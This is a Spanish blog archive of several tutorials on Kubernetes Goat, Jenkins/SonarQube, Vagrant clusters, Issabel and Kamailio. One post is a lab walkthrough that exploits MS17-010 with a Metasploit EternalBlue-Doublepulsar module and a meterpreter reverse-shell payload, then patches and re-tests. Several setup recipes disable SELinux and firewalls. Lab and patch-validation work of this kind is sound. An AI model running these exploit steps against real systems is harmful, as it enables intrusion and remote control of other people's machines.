Archivo
Install Kubernetes Goat (ES)

En estos dos ultimos años estoy muy involucrado en proyectos revisando intraestructuras basadas en contenedores Docker y Kubernetes, en esta busqueda encontré con este genial proyecto que facilita el aprendizaje de vulnerabilidades en Kubernetes.
Kubernetes Goat está diseñado para ser un entorno de clúster intencionalmente vulnerable para aprender y practicar la seguridad de Kubernetes. Es un proyecto creado por Madhu Akula.
En este articulo, veremos como realizar la instalación sobre un equipo con Ubuntu 20.04 y VirtualBox. Kubernetes Goat necesita una instalación previa de Minikube el cual facilita tener un cluster local de Kubernetes.
A.- Instalar Minikube
1.- Descarga de Minikube
Podemos descargar la última versión o una versión específica de la página de versiones de Minikube. Una vez descargado, necesitamos hacerlo ejecutable y agregarlo a nuestra RUTA:
$ curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/
2.- Iniciar Minikube
Podemos iniciar Minikube con el comando de inicio de minikube, que inicia un clúster de un solo nodo con la última versión estable de Kubernetes.
$ minikube start

3.- Comprobar el estado
Con el comando de estado de minikube, mostramos el estado de Minikube:
$ minikube status

B.- Instalar Kubernetes Goat
1.- Descargar el proyecto
# git clone https://github.com/madhuakula/kubernetes-goat.git
# cd kubernetes-goat/
2.- Configurar la cuenta helm2 rbac e inicializar tiller
# kubectl apply -f scenarios/helm2-rbac/setup.yaml
# helm2 init –service-account tiller

3.- Desplegar Helm chart para verificar la configuración ,
implementación del escenario helm chart metadata-db
# helm2 install –name metadata-db scenarios/metadata-db/

4.- Desplegar los manifiestos de escenarios vulnerables
# kubectl apply -f scenarios/batch-check/job.yaml
# kubectl apply -f scenarios/build-code/deployment.yaml
# kubectl apply -f scenarios/cache-store/deployment.yaml
# kubectl apply -f scenarios/health-check/deployment.yaml
# kubectl apply -f scenarios/hunger-check/deployment.yaml
# kubectl apply -f scenarios/kubernetes-goat-home/deployment.yaml
# kubectl apply -f scenarios/poor-registry/deployment.yaml
# kubectl apply -f scenarios/system-monitor/deployment.yaml
# kubectl apply -f scenarios/hidden-in-layers/deployment.yaml

5.- Crear el forwardeo de puertos en los PODS para permitir el acceso local.
# bash access-kubernetes-goat.sh

6.- Igresar a Kubernetes Goat
Si todo salio bien , ahora podremos ingresar a la aplicación de la siguiente forma:
Ingresar a : http://127.0.0.1:1234/

Finalmente, Si desean practicar los escenarios pueden revizarlos aqui : https://madhuakula.com/kubernetes-goat/index.html
Espero les siva
Integración de Jenkins + SonarQube [DevSecOps]
La Inspección continua de código como parte de la integración continua (CI) se ha hecho cada vez mas importante en la construcción de aplicaciones dentro de una estrategia de seguridad en la metodológica de DevOps o también llamado ahora DevSecOps.
En este escenario, implementaremos para el servidor de integración continua Jenkins como contenedor en Docker. Y la parte de inspección continua de código usaremos SonarQube, finalmente analizaremos el codigo de una Aplicación Web en PHP y sera la archi conocida Dann Vulnerable Web Application o DVWA.
Para lo cual asumiremos que nuestra aplicación se encuentra en GitHub/GitLab y necesitamos evaluar la calidad del código, bugs conocidos, vulnerabilidades,etc.
El Entorno
01 Maquina virtual con Centos 7 / IP 192.168.1.13
Docker y Docker-Compose instalado.
1.- Instalación de Jenkins y SonarQube en contenedor Docker
1.1.- Crear el archivo de docker compose y levantar los contenedores.
mkdir -p jenkins/jenkins_home ; cd jenkins
vim docker-compose.yaml
docker-compose up -d
docker ps
Si todo salió bien, en este punto tendremos levantados los dos contenedores
Jenkins : http://192.168.1.13:8080/
Sonarqube : http://192.168.1.13:9000/
2.- Configurar Jenkins para que se integre con Sonarqube.
2.1.- Establecer contraseña e instalación de plugins recomendados.
Ingrear a Jenkins http://192.168.1.13:8080/
La instalación pedirá el ingreso de la contraseña de inicialización ubicada en
cat jenkins_home/secrets/initialAdminPassword
Luego procederá a instalar los plugins recomendados
Una vez terminanda la instalación y configurar el usuario «admin» habremos ingresado.
2.2.- Agregar el Plugin de Sonarqube en Jenkins
Ingresar : Manage Jenkins / Manage Plugins / Available / SonarQube Scanner
Luego verificar que se instaló correctamente y elegir reiniciar Jenkins
2.3.- Agregar la URL del servidor Sonarqube.
Ingresar : Manage Jenkins / Configure System / SonarQube servers / Add SonarQube installations
Name : sonarqube
URL del servidor : http://192.168.1.13:9000/
2.4.- Agregar la versión del scaner para el servidor Sonarqube.
Ingresar : Manage Jenkins / Global tool configuration / Sonarqube Scanner / Add Sonarqube Scanner
Name : sonarqube
Install from maven central : Sonarqube Scanner 4.2.0.18.73
3.- Crear Job para analizar el codigo de la Aplicacion Web.
Nombre : code-inspection-webapp
Tipo : Freestyle project.
Dentro del Jobs indicar el repositorio donde se buscara el código fuente.
Source Code Management
Git / Repository URL : https://github.com/digininja/DVWA
Luego en «Build» agregar «Sonarqube scanner»
Finalmente indicar las propiedad del escaneo en «Analysis properties»
4.- Ejecurar Job para analisis de código fuente con Sonarqube desde Jenkins
Ingresar al Job «code-inspection-webapp» y hacer clic en «Build Now»
Si todo salio bien, en el «console output» del Job nos mostrara que la tarea se ejecuto correctamente.
Si ingresamos el enlace nos llevará a dashboard de Sonarqube donde nos mostrará el reporte del analisis de codigo de la siguiente forma:
Paso siguiente, analizar todas las vulnerabiidades reportadas y bugs en el código por que esta claro que Sonar al ser una herramienta automatizada, nos arrojará una serie de falsos positivos y negativos se serán necesarios de revisar.
Una reflexión final, un Pentester puede aprender muy rápido conceptos de DevOps pero los DevOps pueden aprender rápido conceptos de seguridad, sobre todo ofensiva? Con capacidad de evaluar reportes en SonarQube o Owasp ZAP ? yo creo que si, pero es evidente que todo ello requiere mucha especialización y perfiles adicionales, tener en cuenta que el mismo concepto de DevOps como tal, requería especialización, y ahora hablar de DevSecOps aún mas, debido a que no es solo agregar “herramientas” dentro del CI/CD si no taimen saber como interpretar y corregir los fallos encontrados, de lo contrario no servira para nada.
En el siguiente post vememos como agregar OWASP ZAP el CI/CD
Espero les sirva.
Saludos
@jroliva
Instalación de Cluster de Kubernetes con Vagrant
Como parte de las labores de despliegue de software, la automatizar los procesos de infraestructura como código, es vital, para las actividades de Pentesting / Ethical Hacking tener construir tus entornos y escenarios locales de prueba sirve infinitamente para poder realizar tus P.O.C.
Es así que aquí va el procedimiento para automatizar la instalacion de un Cluster de Kubernetes usando Vagrant en Centos 7, este es el Escenario.
Ubuntu 16.04.6 LTS
Vagrant 2.2.3
Este es Vagantfile
###########################################
# -*- mode: ruby -*-
# vi: set ft=ruby :
VAGRANTFILE_API_VERSION = «2»
##Variables de configuracion ###
INTERFASE_BRIDGE = «wlps01»
DIRECCION_IP_BRIDGE = «192.168.1.151»
MASCARA_RED = «255.255.255.0»
PUERTA_ENLACE = «192.168.1.1»
##Configuracion de la VM master
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
config.vm.box = «centos/7»
config.disksize.size = ’50GB’
config.vm.network «public_network», bridge: INTERFASE_BRIDGE, ip: DIRECCION_IP_BRIDGE, netmask: MASCARA_RED, gateway: PUERTA_ENLACE
config.vm.hostname = «k8s-master»
config.vm.provider «virtualbox» do |v|
v.name = «k8s-master»
v.memory = 2048
v.cpus = 2
end
##Insertar llave SSH
config.ssh.insert_key = false
config.ssh.private_key_path = [‘~/.vagrant.d/insecure_private_key’, ‘~/.ssh/id_rsa’]
config.vm.provision «file», source: «~/.ssh/id_rsa.pub», destination: «~/.ssh/authorized_keys»
##Configuracion de SSH, SELINUX, IPTABLES, SWAP, FIREWALLD
config.vm.provision «shell», inline: <<-EOC
sudo sed -i -e «\\#PasswordAuthentication yes# s#PasswordAuthentication yes#PasswordAuthentication no#g» /etc/ssh/sshd_config
sudo sed -i -e «\\#PermitRootLogin prohibit-password# s#PermitRootLogin prohibit-password#PermitRootLogin yes#g» /etc/ssh/sshd_config
sudo sed -i -e «\\#SELINUX=enforcing# s#SELINUX=enforcing#SELINUX=disabled#g» /etc/selinux/config
sudo systemctl restart sshd.service
sudo setenforce 0
sudo modprobe br_netfilter
sudo echo ‘1’ > /proc/sys/net/bridge/bridge-nf-call-iptables
sudo sed -i ‘/swap/d’ /etc/fstab
sudo swapoff -a
sudo systemctl stop firewalld
sudo systemctl mask firewalld
echo «Instalacion de Docker»
sudo yum -y install vim yum-utils net-tools
sudo yum -y install epel-release
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager –add-repo=https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install -y docker-ce
echo «Instalacion de Kubernetes»
sudo yum-config-manager –add-repo=http://www.silcom.com.pe/soft/kubernetes.repo
sudo yum-config-manager –enable Kubernetes
sudo yum install -y kubelet kubeadm kubectl
echo «Fin de Instalacion»
EOC
##Reinicio de la VM
config.vm.provision :reload
##Configuracion e inicio de servicio docker y kunernestes
config.vm.provision «shell», env: {«VARIP» => «192.168.1.151»}, inline: <<-EOC
sudo sed -i ‘1i $VARIP k8s-master k8s-master’ /etc/hosts
sudo systemctl start docker && systemctl enable docker
sudo systemctl start kubelet && systemctl enable kubelet
sudo sed -i ‘s/cgroup-driver=systemd/cgroup-driver=cgroupfs/g’ /usr/lib/systemd/system/kubelet.service.d/10-kubeadm.conf
sudo systemctl daemon-reload
sudo systemctl restart kubelet
echo «Inicializacion de Cluster»
sudo kubeadm init –apiserver-advertise-address=$VARIP –pod-network-cidr=10.244.0.0/16
sudo mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
echo «Fin de Inicializacion de Cluster»
echo «Desplegar el pod network»
sudo kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
echo «Pod network creado»
echo «FIN»
EOC
#Fin SSH
end
##############################################################3
Finalmente este es el video donde se muestra el despliegue :
Espero les sirva.
Saludos
@jroliva
Instalar Virtualbox Guest Additions en Kali Linux 2017.3
Este post es para mi para no olvidarme, espero le sirva a alguno 😀
Buscar la imagen adecuada
apt-cache search linux-image
instalar la imagen
apt-get install linux-image-4.14.0-kali3-amd64
Dependencia
apt-get install libelf-dev
Reiniciar
reboot
Instalar los hearders nuevos
apt-get install -y linux-headers-$(uname -r)
Luego montar el disco de Guest Additions
Una vez montado instalar
cp /media/cdrom0/VBoxLinuxAdditions.run /root
cd /root/
chmod a+x VBoxLinuxAdditions.run
./VBoxLinuxAdditions.run
Alta disponibilidad con Issabel PBX
En escenarios donde la continuidad del negocio es un factor clave, contar con alta disponibilidad para servicios que se consideran críticos dentro de una organización es clave. En este caso concreto, el presente documento presenta la receta para implementar alta disponibilidad para la plataforma de comunicaciones Issabel PBX.
El software que hemos usado para tener alta disponibilidad se llama Pacemaker así como corosync, los cuales reemplazan al muy conocido heartbeat, el cual se encuentra descontinuado para Centos 7 que es el sistema operativo base de Issabel.
Si bien es cierto la plataforma Issabel, es sumamente estable como para confiar toda la carga a un solo recurso, no es ajena a fallas de otro tipo como factores, eléctricos, climáticos, de hardware, etc. Es por ello en caso de que uno de las plataformas fallase por los factores ya mencionados, dejaría sin comunicaciones a la organización, por lo tanto, es crítico tener el servicio en alta redundancia de forma que si un servidor falla, otro asume el servicio de manera transparente.
Espero les sirva el documento :
Descargar : Paper Alta disponibilidad con Issabel PBX
BeFree – Evento de Comunicaciones Open Source en Latinoamerica
Como algunos saben, durante varios años vengo trabajando en temas de VoIP que es mi segunda pasión profesional luego del #Hacking y la seguridad , En este tiempo he estado involucrado en varias iniciativas como Elastix y FreePBX inclusive, siendo instructor en su momento del primero en su momento.
Si bien es cierto todo en la vida cambia y aveces bastante rápido, siempre he proclamado y seguido la linea del uso del código abierto para soluciones de VoIP – Telefonía IP, ya que esta provee un punto de inflexión para el crecimiento profesional de los individuos que la utilizamos, personalmente he podido modificar, crear, programar nuevas funcionalidades, modificar código para brindar seguridad a mi gusto, lo cual potencia en y un 1000% de una solución de comunicaciones unificadas.
Es así, que he tenido el honor de ser invitado como speaker/conferencista al BeFree – Evento de Comunicaciones Open Source en Latinoamerica, a desarrollarse este 21 de Junio en la ciudad de México, BeFree es un evento que busca fortalecer la comunidad de Comunicaciones Unificadas Open Source y difundir innovación en tecnologías emergentes, en el marco de estas ideas, se difundirá el ecosistema de Issabel (PBX IP basada en Software Libre y de Código Abierto) que busca en pocas palabras, apunta a ser la propuesta a muy largo plazo ante la desaparición de Elastix, la cual por supuesto ha concitado la atención de la prensa en México, como se muestra a continuación.
BeFree, estará compuesto de exposiciones, conferencias, talleres y un hacktaton, este ultimo es un espacio muy interesante desarrolladores, en donde podrán participar de un maratón de creación software o “Addons” para resolver alguna problemática en concreto.
Por otro lado también estarán presentes personalidades del mundo VoIP/Asterisk como Nicolas Gudiño – Creador de Asternic Call Center , David Duffett – Director, Comunidad Mundial de Asterisk en DIGIUM , Alfio Muñoz – Experimentado Instructor de Asterisk , Saul Ibarra – Senior Software Developer en Atlassian “Jitsi”
Finalmente, brindaré una charla denominada » @IssabelIP una relación segura» en donde mostrare pasos muy prácticos para fortalecer la plataforma y minimizar riesgos de seguridad en una plataforma IP PBX basada en Asterisk.
Es así que si estas en México, no puedes de dejar de asistir el BeFree y si eres lector de este blog, por favor acércate que sera un inmenso gusto poder platicar de los temas que nos interesan.
Nos vemos en el BeFree!!
Explotando Vulnerabilidad MS17-010 o WannaCry
El pasado 12 de Mayo durante el desarrollo del Peruhack en Lima-Perú estallaba la noticia de un ataque global del ahora famoso ramsomware «Wanacry» arrasando múltiples empresas, grandes y extra grandes.
La duda es, como funciona Wanacry ?
El punto de entrada inicial no era muy diferente a los ramsomware que han aparecido anteriormente y se trata de infección via corre electrónico atraves de adjuntos con malware que explotaba una vulnerabilidad hasta esa fecha «no tan conocida» luego se expandía por la redes colindantes explotando la misma vulnerabilidad.
Ello es en resumen, técnicamente hablando , la vulnerabilidad que explotada por el ransomware WanaCrypt0r o WanaCry es la denominada por el boletin oficial de Microsoft como MS17-010 la cual afecta primordialmente a Windows 7 y Windows 2008 server que fue remediada por Microsoft el 14 de marzo es decir existe un parche desde esa fecha. El tema es que existe una herramienta llamada «EternalBlue» liberada por ShadowBrokers ( un grupo de hackers involucrados en el hackeo a la NSA) la cual explota la vulnerabilidad y afecta al protocolo SMB ( Servicio para compartir archivos e impresoras) que ahora está portada a Mestasploit por Elevenpaths.
Es por ello que su propagación fue masiva debido a que basta que una sola maquina se infecte para que se propague en toda una red LAN.
A continuación vamos a hacer una prueba de concepto paso a paso de como se explota la vulnerabilidad y luego aplicaremos el parche y probaremos nuevamente.
Escenario
Atacante : Kali Linux 2016_1 / IP 192.168.56.102
Atacado : Windows 7 64Bits / IP 192.168.56.101
1- Detección de Vulnerabilidad MS17-010 (Wanacry) con Nmap
cd /usr/share/nmap/scripts
wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
nmap -d -sC -p445 –script smb-vuln-ms17-010.nse 192.168.56.101
Como se puede ver el scrip de nmap nos indica que el sistema operativo es vulnerable a ms17-010 ,con la confirmación vamos a explotar.
2- Explotando la Vulnerabilidad MS17-010 (Wanacry) con Metasploit
2.1- Instalación del exploit Eternalblue-Doublepulsar en Metasploit
cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cp /root/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
2.2..- Atacando Windows 7 64Bits vulnerable
msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
show info
show targets
set TARGET 8
set PAYLOAD windows/meterpreter/reverse_tcp
set PROCESSINJECT explorer.exe
set LHOST 192.168.56.102
set LPORT 4444
set RHOST 192.168.56.101
exploit
Como vemos se genera la sesión de Meterpreter
2.1- Aplicando Parche y Probando que la vulnerabilidad
2.1- Aplicando Parche UPDATE de seguridad para MS17-010
Descargamos la actualización oficial desde :
http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212
2.2- Validando que la vulnerabilidad fue parchada
Validando con Nmap
Validando nuevamente con Metasploit
Como vemos luego de a ver aplicado el parche ya no es posible tomar el control del sistema, asi que a realizar las actualizaciones antes que se infecten.
Saludos
Juan Oliva
@jroliva
Kamailio entendiendo lógica de enrutamiento
Uno de los aspectos mas importantes y a la vez complicados de entender en Kamailio es la lógica de enrutamiento, debido a que tiene mucho que ver con el comportamiento del protocolo SIP.
Luego de mi charla en el ElastixWorld 2015 he tenido varias consulta referente a Kamailio y su comportamiento, un poco de ello lo explique en la charla «Usando el módulo PIKE en Elastix MT» sin embargo en este post vamos a dar un alcance un poco mayor a este tema.
Primero vemos de manera genera lo que trae el archivo de configuración.
Esta imagen representa el esquema a nivel de parametrización de un archivo kamailio.cfg
Ahora vamos a ver cada punto:
1.- Definiciones Globales
Variables que vamos a usar a lo largo de la lógica de enrutamiento, las cuales pueden estar referidas a parámetros de log, direcciones IP y puertos que va escuchar el servidor, entre otras.
Tiene la siguiente forma:
2.- Sección de Módulos
Es donde definimos o «cargamos» los módulos vamos a user, por ejemplo el modulo de MYSQL para guardar los registros en base de datos, o el modulo de TLS para cifrado de la señalización.
Tienen las siguiente forma:
3.- Sección de configuración de módulos
En esta sección de parametrizan o configuran los módulos que hemos cargado en la sección anterior, es muy importante configurar los módulos adecuadamente, ya que en algunos casos se activan con configuraciones por defecto, lo cuales pueden producir a la larga efectos extraños en el comportamiento.
Tienen la siguiente forma:
4.- Bloques de rutas o lógica de enrutamiento
Esta es la sección es «clave» en el archivo de configuración ya que va establecer todo el camino que va seguir las peticiones SIP que recibamos, aquí hay que decir que no existe un patrón único, ya que uno puede hacer su lógica tan simple o tan compleja como lo desee, es decir con mas o menos bloques de rutas, sin embargo existen ciertos patrones que uno siempre va respetar o encontrar en otros archivos, estos son bloques de rutas que normalmente vamos a encontrar:
- Principal (Main ó request_route)
- Secundarias (REQINIT, WITHINDLG,REGISTRAR)
- Failure (failure_route)
- Branch (branch_route)
En esquema que pude realizar para mi autocompasión de un esquema de enrutamiento maso menos complejo:
Como se puede apreciar todo parte del bloque «Main» o «Request Route» y va ingresando a los demás bloques en donde cada uno tiene un objetivo puntual aplicado a la solicitud SIP entrante.
El bloque «REQINIT» tiene un papel muy importante ya que hace la mayoría de la comprobaciones previas como la evaluación de seguridad entre otras cosas.
Luego los métodos secundarios realizan el registro, localización y reenvío de las solicitudes SIP a otro server, un Asterisk por ejemplo. según sea el caso.
Bueno espero que este post les amplié el panorama respecto al funcionamiento de kamailio, mas adelante desmenuzaremos otros aspectos de este formidable software.
Saludos
Juan Oliva
Instalación de Kamailio en Centos 7
Es indudable que Kamailio es uno de los software mas potentes en el mundo de la VoIP , por los diferentes escenarios que puedes construir relativos a seguridad, escalabilidad, redundancia y todo lo que termina en «dad»
Sin embargo mucha gente que comienza a aprender su funcionamiento se choca con la curva de aprendizaje, que es necesario tener para entender este programa, como lo dije en un tweet «si no te gusta la consola, kamailio no es lo tuyo» sin embargo nada es imposible de aprender por su puesto.
Antes de comenzar definamos rápidamente un par de cosas, Kamailio no es igual ni parecido a Asterisk, formalmente Asterisk es lo que se llamaría un «back to back user agent» o «B2UA» el cual es utilizado tradicionalmente para ser una PBX IP ya que cuenta con un sin numero de aplicaciones para un PLANTA IP como voicemail, IVR, Colas,etc,etc.
En cambio Kamailio es un SIP PROXY en todos los sentidos, como su nombre lo dice, este tipo de software solo conversa SIP y nada mas, el cual puede trabajar como proxy proiamente, location server, registrar server, servidor de presencia, call routing (LCR) los cuales son algunos de los roles en los que puede trabajar.
Ahora la pregunta sería, para los nativos Asterisk, puedo usar Kamailio como lo uso con Asterisk ?
Pues la respuesta sería que no, ya que si bien es cierto ambos trabajar para brindar servicios de SIP VoIP tienen diferentes usos.
Entonces para que uso Kamailio?
Se puede usar para extender funcionalidades que de pronto Asterisk queda limitado, como por ejemplo, escalar usuarios, ya que Kamailio solo trabaja con SIP su consumo de procesamiento es mucho menor al de Asterisk y puede trabajar como servidor de registro, tambien puedo usarlo para balancear carga hacia un conjunto de servidores Asterisk, o para que sea mi servidor de proteccion hacia internet, solo por citar algunos ejemplos.
Entonces puedo integrar Asterisk con Kamailio ?
Si, puedo integrarlo de muchas maneras en realidad, algunas muy sencillas otras mas complicadas pero si se puede, de hecho hay varios proyectos y/o productos que han integrado con gran exito Kamalio-Asterisk como Elastix MT SIP WISE
Una vez que hemos revisado un poco para que podemos usar Kamailio, vamos a comenzar con este primer post sobre como instalar Kamailio sobre Centos 7 en una instalación mínima.
1.- Configurar el sistema base
Luego de instalar Centos 7 al mínimo es necesario «arreglar» un par de cosas
Instalar editor, ifconfig , EPEL
yum install net-tools vim
yum -y install epel-release
Desactivar SELINUX
vi /etc/selinux/config
SELINUX=disabled
Desactivar Firewall
systemctl disable firewalld
systemctl status firewalld
2.- Instalar Kamailio
Ahora vamos a instalar desde los repositorios.
Agregar un repositorio
vi /etc/yum.repos.d/kamailio.repo
[kamailio]
name=RPMs for Kamailio on CentOS 7
type=rpm-md
baseurl=http://rpm.kamailio.org/stable/CentOS_7/
gpgcheck=1
gpgkey=http://rpm.kamailio.org/stable/CentOS_7/repodata/repomd.xml.key
enabled=1
Instalar Kamailio básico
yum install kamailio kamailio-utils kamailio-debuginfo
3.- Crear un archivo de configuración básico
vim /etc/kamailio/kamailio.cfg
##### Inicio
debug=2
log_stderror=yes
fork=yes
mpath=»/usr/lib64/kamailio/modules»
loadmodule «pv.so»
loadmodule «xlog.so»
route {
xlog(«L_INFO»,»Requerimiento entrante: $rm de $si a $ru \n»);
forward();
}
onreply_route {
xlog(«L_INFO»,»Respuesta entrante: $rm $rr – de $si a $ru \n»);
}
##### Fin
4.- Levantar el servicio y revisar LOG
Levantamos el servicio y si todo está bien veremos esto
También es necesario, sobre todo si salen errores verificar los logs
Algunos Links que deberías ver si te interesa saber un poco mas de Kamailio :
Kamailio :: A Quick Introduction
http://es.slideshare.net/oej/kamailio-a-quick-introduction
http://es.slideshare.net/miconda/kamailiothestory
En otros post veremos un poco mas kamailio y algunas aplicaciones practicas.
Espero les sirva.
Saludos
Juan Oliva